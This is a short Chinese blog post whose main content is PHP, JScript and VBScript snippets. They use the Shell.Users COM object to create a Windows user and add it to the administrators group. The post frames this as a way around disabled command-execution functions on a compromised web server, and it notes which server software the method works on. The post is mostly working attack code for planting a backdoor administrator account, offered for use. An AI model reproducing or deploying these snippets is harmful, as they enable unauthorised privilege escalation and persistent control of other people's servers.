GrayTensor 's Blog

即使赚的了全世界,却失去了自己,又有什么意义呢。

Shell.Users加管理员

当 php执行命令的函数如exec,system,shell_exec,proc_open,passthru,popen


以及wscript.shell 组建被禁用的情况下,这也许是一个机会。


代码如下:


<?php

echo "<div align=center><b>PHP 版Shell.Users加管理员帐号</b></div>";

$username="帐号";

$password="密码";

$su = new COM("Shell.Users");

$h=$su->create($username);

$h->changePassword($password,"");

$h->setting["AccountType"] = 3;//这句很重要可以把用户加入administrators 组,

?>

对apache 搭建的Web 服务器可以执行成功,IIS 好像权限不够,nginx 和lighttpd 搭建的web 


服务器还没有测试。


 


下面是 LCX 的代码:


JS:

var o=new ActiveXObject( "Shell.Users" );

z=o.create("帐号") ;

z.changePassword("密码","")

z.setting("AccountType")=3;


vbs:

Set o=CreateObject( "Shell.Users" )

Set z=o.create("帐号")

z.changePassword "密码",""

z.setting("AccountType")=3


评论
热度(1)

© GrayTensor 's Blog | Powered by LOFTER